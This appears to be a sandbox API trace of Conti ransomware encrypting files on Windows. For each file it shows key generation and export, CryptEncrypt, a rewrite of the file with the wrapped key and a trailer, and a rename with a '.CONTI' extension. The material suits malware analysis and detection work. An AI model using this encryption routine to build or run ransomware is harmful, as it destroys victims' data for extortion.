	[0147.833] WriteFile (in: hFile=0x380, lpBuffer=0x65d3080*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x65d3080*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0147.833] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.833] CloseHandle (hObject=0x380) returned 1
	[0147.834] GetProcessHeap () returned 0x1720000
	[0147.834] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0147.834] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\Public\\Pictures\\desktop.ini" | out: lpString1="C:\\Users\\Public\\Pictures\\desktop.ini") returned="C:\\Users\\Public\\Pictures\\desktop.ini"
	[0147.834] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\Public\\Pictures\\desktop.ini.CONTI") returned="C:\\Users\\Public\\Pictures\\desktop.ini.CONTI"
	[0147.834] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Pictures\\desktop.ini.CONTI" (normalized: "c:\\users\\public\\pictures\\desktop.ini.conti")) returned 1
	[0147.834] GetProcessHeap () returned 0x1720000
	[0147.834] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0147.834] CryptDestroyKey (hKey=0x17de9d0) returned 1
	[0147.834] GetProcessHeap () returned 0x1720000
	[0147.834] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181dbd8 | out: hHeap=0x1720000) returned 1
	[0147.834] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0147.834] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65d39a8 | out: phKey=0x65d39a8*=0x17de810) returned 1
	[0147.834] CryptExportKey (in: hKey=0x17de810, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d39ac, pdwDataLen=0x3a7ff24 | out: pbData=0x65d39ac*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0147.835] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\desktop.ini")) returned 0x26
	[0147.835] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0147.835] GetLastError () returned 0x0
	[0147.835] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=380) returned 1
	[0147.835] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x17c
	[0147.835] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.835] SetEndOfFile (hFile=0x380) returned 1
	[0148.671] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.671] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.671] WriteFile (in: hFile=0x380, lpBuffer=0x65d39ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65d39ac*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0149.379] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.379] ReadFile (in: hFile=0x380, lpBuffer=0x9370000, nNumberOfBytesToRead=0x17c, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x17c, lpOverlapped=0x0) returned 1
	[0149.379] CryptEncrypt (in: hKey=0x17de810, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x17c, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x180) returned 1
	[0149.379] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.379] WriteFile (in: hFile=0x380, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x180, lpOverlapped=0x0) returned 1
	[0149.379] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.379] WriteFile (in: hFile=0x380, lpBuffer=0x65d39a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x65d39a0*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0149.379] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.379] CloseHandle (hObject=0x380) returned 1
	[0149.379] GetProcessHeap () returned 0x1720000
	[0149.379] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.583] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\Public\\Videos\\desktop.ini" | out: lpString1="C:\\Users\\Public\\Videos\\desktop.ini") returned="C:\\Users\\Public\\Videos\\desktop.ini"
	[0149.583] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\Public\\Videos\\desktop.ini.CONTI") returned="C:\\Users\\Public\\Videos\\desktop.ini.CONTI"
	[0149.583] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Videos\\desktop.ini.CONTI" (normalized: "c:\\users\\public\\videos\\desktop.ini.conti")) returned 1
	[0149.584] GetProcessHeap () returned 0x1720000
	[0149.584] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.584] CryptDestroyKey (hKey=0x17de810) returned 1
	[0149.584] GetProcessHeap () returned 0x1720000
	[0149.584] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d288 | out: hHeap=0x1720000) returned 1
	[0149.584] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0149.584] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65d8bc8 | out: phKey=0x65d8bc8*=0x17deb10) returned 1
	[0149.584] CryptExportKey (in: hKey=0x17deb10, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d8bcc, pdwDataLen=0x3a7ff24 | out: pbData=0x65d8bcc*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0149.585] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_da-dk.htm")) returned 0x20
	[0149.587] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_da-dk.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0149.587] GetLastError () returned 0x0
	[0149.588] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=65173) returned 1
	[0149.588] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfe95
	[0149.588] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.588] SetEndOfFile (hFile=0x49c) returned 1
	[0149.588] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.588] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.588] WriteFile (in: hFile=0x49c, lpBuffer=0x65d8bcc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65d8bcc*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0149.593] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.593] ReadFile (in: hFile=0x49c, lpBuffer=0x9370000, nNumberOfBytesToRead=0xfe95, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0xfe95, lpOverlapped=0x0) returned 1
	[0149.594] CryptEncrypt (in: hKey=0x17deb10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0xfe95, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0xfea0) returned 1
	[0149.594] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.594] WriteFile (in: hFile=0x49c, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0xfea0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0xfea0, lpOverlapped=0x0) returned 1
	[0149.595] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.595] WriteFile (in: hFile=0x49c, lpBuffer=0x65d8bc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x65d8bc0*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0149.595] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.595] CloseHandle (hObject=0x49c) returned 1
	[0149.595] GetProcessHeap () returned 0x1720000
	[0149.595] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.595] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm"
	[0149.595] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.CONTI"
	[0149.595] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_da-dk.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_da-dk.htm.conti")) returned 1
	[0149.596] GetProcessHeap () returned 0x1720000
	[0149.596] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.596] CryptDestroyKey (hKey=0x17deb10) returned 1
	[0149.596] GetProcessHeap () returned 0x1720000
	[0149.596] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5c50 | out: hHeap=0x1720000) returned 1
	[0149.596] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0149.596] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65d9bc0 | out: phKey=0x65d9bc0*=0x17dea90) returned 1
	[0149.596] CryptExportKey (in: hKey=0x17dea90, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d9bc4, pdwDataLen=0x3a7ff24 | out: pbData=0x65d9bc4*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0149.597] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_el-gr.htm")) returned 0x20
	[0149.597] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_el-gr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0149.597] GetLastError () returned 0x0
	[0149.597] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=239446) returned 1
	[0149.597] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3a756
	[0149.597] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.597] SetEndOfFile (hFile=0x49c) returned 1
	[0149.597] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.597] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.597] WriteFile (in: hFile=0x49c, lpBuffer=0x65d9bc4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65d9bc4*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0149.604] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.604] ReadFile (in: hFile=0x49c, lpBuffer=0x9370000, nNumberOfBytesToRead=0x3a756, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x3a756, lpOverlapped=0x0) returned 1
	[0149.608] CryptEncrypt (in: hKey=0x17dea90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x3a756, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x3a760) returned 1
	[0149.608] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.608] WriteFile (in: hFile=0x49c, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x3a760, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x3a760, lpOverlapped=0x0) returned 1
	[0149.609] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.609] WriteFile (in: hFile=0x49c, lpBuffer=0x65d9bb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x65d9bb8*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0149.609] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.609] CloseHandle (hObject=0x49c) returned 1
	[0149.609] GetProcessHeap () returned 0x1720000
	[0149.609] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.609] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm"
	[0149.609] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm.CONTI"
	[0149.609] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_el-gr.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_el-gr.htm.conti")) returned 1
	[0149.612] GetProcessHeap () returned 0x1720000
	[0149.612] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.612] CryptDestroyKey (hKey=0x17dea90) returned 1
	[0149.612] GetProcessHeap () returned 0x1720000
	[0149.612] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c53e0 | out: hHeap=0x1720000) returned 1
	[0149.612] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0149.612] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65dbdf8 | out: phKey=0x65dbdf8*=0x17dea50) returned 1
	[0149.612] CryptExportKey (in: hKey=0x17dea50, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dbdfc, pdwDataLen=0x3a7ff24 | out: pbData=0x65dbdfc*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0149.613] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-es.htm")) returned 0x20
	[0149.613] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-es.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0149.614] GetLastError () returned 0x0
	[0149.614] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=69816) returned 1
	[0149.614] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x110b8
	[0149.614] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.614] SetEndOfFile (hFile=0x2ec) returned 1
	[0149.614] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.614] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.614] WriteFile (in: hFile=0x2ec, lpBuffer=0x65dbdfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65dbdfc*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0149.616] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.616] ReadFile (in: hFile=0x2ec, lpBuffer=0x9370000, nNumberOfBytesToRead=0x110b8, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x110b8, lpOverlapped=0x0) returned 1
	[0149.621] CryptEncrypt (in: hKey=0x17dea50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x110b8, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x110c0) returned 1
	[0149.622] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.622] WriteFile (in: hFile=0x2ec, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x110c0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x110c0, lpOverlapped=0x0) returned 1
	[0149.622] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.622] WriteFile (in: hFile=0x2ec, lpBuffer=0x65dbdf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x65dbdf0*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0149.622] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.622] CloseHandle (hObject=0x2ec) returned 1
	[0149.622] GetProcessHeap () returned 0x1720000
	[0149.622] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.622] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm"
	[0149.622] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.CONTI"
	[0149.622] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-es.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-es.htm.conti")) returned 1
	[0149.623] GetProcessHeap () returned 0x1720000
	[0149.623] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.623] CryptDestroyKey (hKey=0x17dea50) returned 1
	[0149.623] GetProcessHeap () returned 0x1720000
	[0149.623] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5cc8 | out: hHeap=0x1720000) returned 1
	[0149.623] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0149.623] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65d9730 | out: phKey=0x65d9730*=0x17de7d0) returned 1
	[0149.623] CryptExportKey (in: hKey=0x17de7d0, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d9734, pdwDataLen=0x3a7ff24 | out: pbData=0x65d9734*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0149.624] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_et-ee.htm")) returned 0x20
	[0149.624] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_et-ee.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0149.625] GetLastError () returned 0x0
	[0149.625] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=63101) returned 1
	[0149.625] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf67d
	[0149.625] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.625] SetEndOfFile (hFile=0x2ec) returned 1
	[0149.625] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.625] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
